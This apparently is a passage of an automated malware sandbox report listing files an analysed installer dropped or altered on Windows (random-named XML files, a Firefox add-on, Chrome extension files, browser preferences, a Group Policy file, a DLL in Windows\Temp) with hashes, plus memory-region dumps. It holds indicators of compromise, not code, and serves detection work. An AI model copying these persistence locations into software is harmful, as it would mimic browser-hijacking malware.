                                                                                                                                                                                                                      65aa3f1b13eaea1af443bd56da1fdabd

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      46580c2ef5801ff03e442ad6b600cc9abd446e19

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      62e3ad6e22d809d1feb83969a9df3bd843f501ba63c26173677650b60c54e717

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      3891683cf7bac713d7de5999827341c1c024b348a993a79f26a1c7837872fc2e6d9767d08884741e243af500637349fb1710aee379a97cae6f342f6d4de23a1f

                                                                                                                                                                                                                    • C:\Program Files (x86)\lExdmLMBU\GbeKMvF.xml

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      561a3504478fa875a6352c799ba036d1

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      6fe84ea8a67ac40c92f1f1b68d04485d9bc4c373

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      21b014cb527cd85dfac7bc793598befd158b2f94194a913cc84750c3df6b1075

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      2a672ff811a71188f9c6c3548662f08224571db4764f18300a62c4412ca26c7bc98b682b7b58924f05ab0c3822106a97e096cbbdb34228c27197bf29b0f13632

                                                                                                                                                                                                                    • C:\Program Files (x86)\tcAZjUgKvOkyC\qgGPqOX.xml

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      a6dffe9c67cc0c48aefb042a365c33c2

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      8cc5e5bb5c845ba33bc84b93bf1b21c25a2b337c

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      aaf2ff46492857c38900db57726a25a94bc1da6d35fb3ce876327c9bfb982387

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      a0f90d2b47bd3b6b8df63be33f796ebbb57f471a973b8d0270d712f883b13be283dfb114ba1c8b183cdace4efcb1754508d75c564663a2b4f9524da51a0b5a5f

                                                                                                                                                                                                                    • C:\Program Files (x86)\vTGqftCYFnqsQTavPzR\xlWwbma.xml

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      1582b15dd3f49fecaf6496fc2f755ad0

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      65dac133f7deb7410e1c3f8f33e943a6260561da

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      c0c1160c217d28cbaebf874a2e5d6b3a699e3acc7640c3dceac7e59ece90ccd9

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      606131e77d9959ae83e4f6aaaacf8063313d3a6b12eeecefaadd71e5965e5d22bd3a96bb093201d250e7fbc1519a8b900701c420405292379cb85179157c0544

                                                                                                                                                                                                                    • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2.0MB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      f61afb0fe78fa5720487f722b91f5676

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      c57703dc8eed1ab79aeb2d0f2db4c0429db34004

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      8860c7b4fb36bfdc4431579d763371c1d0ec05a92b34a5d432e251cfa9aaf4ce

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      c767caf6234da3209610f59950d550f9c4709f6077de60574387cde74e021de86b761a0437a929463d09d90d8428f9551703b9d5b235be1d23d63f8cb3b904b0

                                                                                                                                                                                                                    • C:\ProgramData\ypvfxRdiVpdIIEVB\scQAIfG.xml

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      f2498abc9f1551c7d132a9a04fe05048

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      420ade5e8693f3d3c98845d0f5c3b4ab94b26e1c

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      a1b90bea0b5015d03453d4520126fe5247bee9d8d16c758956d77287e6c76b5b

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      c660443a593b00742a991db8f3d621fe2b5febc1ba120b85beb6bd276daecb80f07d8bf89984c33ed3e12247de7a7feb6812ebbe7737f4239889fea753bb9176

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      187B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      136B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      150B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      10KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      c2fb6890f3fa6069216d306aecd411a4

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      f2885bef4036b1a2e106961fca4baec777965fbc

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      9e71d00136b16bd29d4c20ea291b8b99167b3ce0d73defb9a65bac9f2762999d

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      d54ae94289cdaaea110cf02a496f59e64371c6137307bc25a71e9423a978b5db19946793b76f54c4fa2e8c00cd2722077b5124531d02304dad6b96798aa8ce39

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      26KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      bde615e0ee16bd25e96f0908191a2179

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      eca47f89f44aa092a42ccc1171fdac8fb1306986

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      6b63754e9c6d574ab9769d6a226f5a04b2dd75909fd61ec37fe102fccb890f0c

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      3e39089ed07502ad5b4c72f63b8264d812f92a2ec7bb8039f22673684f51b24ea159d9fcb91fc50460e7b77c85d8cca878581bb9d145b6b81c944534440be2ae

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      6bf0e5945fb9da68e1b03bdaed5f6f8d

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      12KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      01978213fbf4a4cfdb86e1ed52e2bedb

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      b81627e40a5ecba413f869d095fe671cf44fb926

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      36b615c4424699229fe436f4e037de798f400d26220b67fa74fa4ddc63f381d5

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      c9f7b2c1ef40d19fb9a59de7b1ecba09a14c1fda86e0dcece9a2e3581da998dc907629a6540a0adeb49cddf03f4247999c50e5cc4ea29e5436623e31b5f5aaae

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      15KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      fec4161d4e0f74d54918d1031718a650

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      49ff5abfec54fc809c95aeaab8c6733493fa371f

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      6443924a9f0e963664a0c320067b2d37e5f61dc54e848b315b6adb266d31cbac

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      1bc46edff50fbfa907c9c3971be383f551c1b2ef71fb13cb021bb9396958352c8dcafb8b446d646967eaf76be82e7a1e97152503a6db63ece336bbff367ef174

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSD542.tmp\Install.exe

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.3MB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      1c8a69a1ebd9f4bb930bb8f7872a1eb8

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      3dd259ee0b6594c3ca51bb858be35691c5b16135

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      63a0ad4c41c52c90e081397f661b472539a40ec5d143afac7779e9920880408f

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      3389a342a68a4b7f33c54025cce6e1034784d8331f0096eb042a8de66ceca98d5b5618ded0a8bdba631d2480d32c2d56ca1506c576290404035408b4feb44040

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSD997.tmp\Install.exe

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      f7314b2d766560a50615e322c6bc9ce4

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      609db2977591e1ba9667ce40e8a3d60cd3fd97c6

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      d140cad5c083db25197caecaee2e5646d9215799412a6b94950d941b17393197

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      88b8f81871d9a797c2f0ef6e50a5ea6bc28e6f735d0c9ad2704465e46596b2743d2f8645266a0f8f3cc19abad27d6757ccebe98192a66ef0486dea286a314e50

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgqdv5nm.frl.ps1

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      1B

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\prefs.js

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      682c50097e06f88f019baaaf3af03205

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      e27e35662855939c02787a96280d2f1e25c99f7b

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      2830057d5488fdec0af33fba7aceace947d1440c8bafb14110698ead5b1367c6

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      867055b118d4f3a7ff415a48a68c907a57d565c8639904698677c3c9ce79da044777b1a2c4ac37e08cf1179d3c237a3178b47bf5a2350843ad23d4fa564fa4fa

                                                                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      c558fdaa3884f969f1ec904ae7bbd991

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      b4f85d04f6bf061a17f52c264c065b786cfd33ff

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      3e2559b6ca355d011b05b1fcf35ed8b2375586fe6bb01bc367f24eb8ac82975e

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      6523c778fd9fab0085fafe7b4049e591403865212cc25109cb11f11584c7258bc15e0a5524d089d0f662151b22f3f8e6f871091cec57064c69a9a95903f9e7d4

                                                                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      15KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      801127c41a524fac22daa8e6c14fafc8

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      c823a5db8bf224f0253168c2e1e4f60b397af5a8

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      77450763e30418b844ec31a60a3366ed547d91024d4fbd3ccbe9153e876df958

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      33c979b11d8d00a72880c7a6687eb223b6fcc4a04e807244c6e9686cde8188703105d39f7e83f0150d694bb56ce04d6f0c5c4fbc6e5550c0dacbe3d80ae2a58a

                                                                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      12KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      75f7f2d366988ec1247e12069fb34d94

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      1b9c177a8bf811f41507c5fce364405bdd38414b

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      852eba53ee76d058caa7c03abc45c3de0a69427f66f2f9bc4f8253cc935d4b7d

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      9114e77bc215fead8c6661d9e1c0b8ed01b83a6eeb385947ef21e8cb9c62d9c50b8d9f7c682a2ee77e6c752413f6f260548038d736e3a7df3d8ac4dee58322f5

                                                                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      12KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      d2e7b0f5f6dd31454e23fa51e9b37f1d

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      9314567815df6b026ee8917bb6cf178b3ae9a365

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      b610eb73e6478be182a3c161d2c675cca7f2a84711546554a4ce6127b7b406b2

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      62b680242502547492f8ae89f0d9910e82716f59639e646947c009e5824017ffc857d4c64934ef1e7e4bdc4fc1dbccab9eccc75f8f438db6256093b533447ba7

                                                                                                                                                                                                                    • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      15KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      acdf48553c7c2e87628a5415a8354d0f

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      440ff628e4fc77f2c2b5f3431fcadb492cfc1c97

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      bdb520f35b89382d1096b29cb3777f9bc0998ebc9b2eb5cdc6d56f837dee631a

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      939ea836042780ab085388f9c2fc0d9fce873f55e1da594227b7a10dc51a7bf56fcc309572a50b03b24e97e7fe260cb4a3f6a8bfabcc6b871033027e2ba7de30

                                                                                                                                                                                                                    • C:\Windows\Temp\TtNtWPRQARDvDBvI\DkcDKSnq\hZFKubi.dll

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.3MB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      0992428d66cec74bc5fce685223d1e2f

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      ade0387114a002e12df4c60fc785154a546f0941

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      104be79914569577f7894c46c99aed1c6ff33b5ebf2997f89484f602814597e2

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      c62cdf883b1497d6fb62860ea1a09fa95986500d4138038670741fb8baf2e5b2c06d2559eb1b4a5dedf8915d245356b12d15800d07bfee7aceda539f54dba7ad

                                                                                                                                                                                                                    • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5KB

                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                      33c135db78c058b3e58f67020b2130f1

                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                      8b17a6a1e17643824f8565dfe445d3055a27e486

                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                      eda64d379c4f638b9ad941537dd2bf1d9e67db5a729c94103339001cae8fdf85

                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                      ab9b59444127f02acb956c0e4f81adb6fe24deebb37c6e2d8f3ce19c1915d4729eea9a6844428fe21c2e8ba8a67e8def32ac5730ea6444fbd15c30c6502e7006

                                                                                                                                                                                                                    • memory/372-486-0x0000000003CD0000-0x00000000042B4000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                    • memory/1848-39-0x00000000097B0000-0x00000000097D2000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                    • memory/1848-40-0x0000000009E40000-0x000000000A33E000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5.0MB

                                                                                                                                                                                                                    • memory/1848-14-0x0000000004C40000-0x0000000004C76000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      216KB

                                                                                                                                                                                                                    • memory/1848-15-0x00000000076B0000-0x0000000007CD8000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.2MB

                                                                                                                                                                                                                    • memory/1848-16-0x0000000007590000-0x00000000075B2000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                    • memory/1848-17-0x0000000007D90000-0x0000000007DF6000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      408KB

                                                                                                                                                                                                                    • memory/1848-18-0x0000000007E00000-0x0000000007E66000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      408KB

                                                                                                                                                                                                                    • memory/1848-19-0x0000000007FF0000-0x0000000008340000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      3.3MB

                                                                                                                                                                                                                    • memory/1848-20-0x0000000007FC0000-0x0000000007FDC000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      112KB

                                                                                                                                                                                                                    • memory/1848-21-0x0000000008480000-0x00000000084CB000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                    • memory/1848-22-0x0000000008780000-0x00000000087F6000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      472KB

                                                                                                                                                                                                                    • memory/1848-37-0x0000000009850000-0x00000000098E4000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      592KB

                                                                                                                                                                                                                    • memory/1848-38-0x0000000009540000-0x000000000955A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      104KB

                                                                                                                                                                                                                    • memory/2856-48-0x0000000010000000-0x00000000105E4000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                    • memory/2856-11-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/2856-480-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/2856-162-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/3780-136-0x000001AEEE7B0000-0x000001AEEE7D2000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      136KB

                                                                                                                                                                                                                    • memory/3780-140-0x000001AEEEBB0000-0x000001AEEEC26000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      472KB

                                                                                                                                                                                                                    • memory/3832-74-0x0000000006AF0000-0x0000000006B3B000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                    • memory/4656-211-0x00000000024E0000-0x0000000002565000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      532KB

                                                                                                                                                                                                                    • memory/4656-459-0x00000000037D0000-0x00000000038AB000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      876KB

                                                                                                                                                                                                                    • memory/4656-199-0x0000000010000000-0x00000000105E4000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                    • memory/4656-483-0x00000000003A0000-0x0000000000A1A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/4656-266-0x0000000002C30000-0x0000000002C93000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      396KB

                                                                                                                                                                                                                    • memory/4656-171-0x00000000003A0000-0x0000000000A1A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/4656-449-0x0000000003660000-0x00000000036E5000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      532KB

                                                                                                                                                                                                                    • memory/4676-163-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/4676-71-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/4676-93-0x0000000010000000-0x00000000105E4000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      5.9MB

                                                                                                                                                                                                                    • memory/4676-172-0x0000000001310000-0x000000000198A000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      6.5MB

                                                                                                                                                                                                                    • memory/5112-177-0x00000000077F0000-0x000000000783B000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                    • memory/5112-175-0x0000000006DC0000-0x0000000007110000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      3.3MB

                                                                                                                                                                                                                    • memory/5116-56-0x0000000007EF0000-0x0000000007F3B000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      300KB

                                                                                                                                                                                                                    • memory/5116-54-0x0000000007600000-0x0000000007950000-memory.dmp

                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                      3.3MB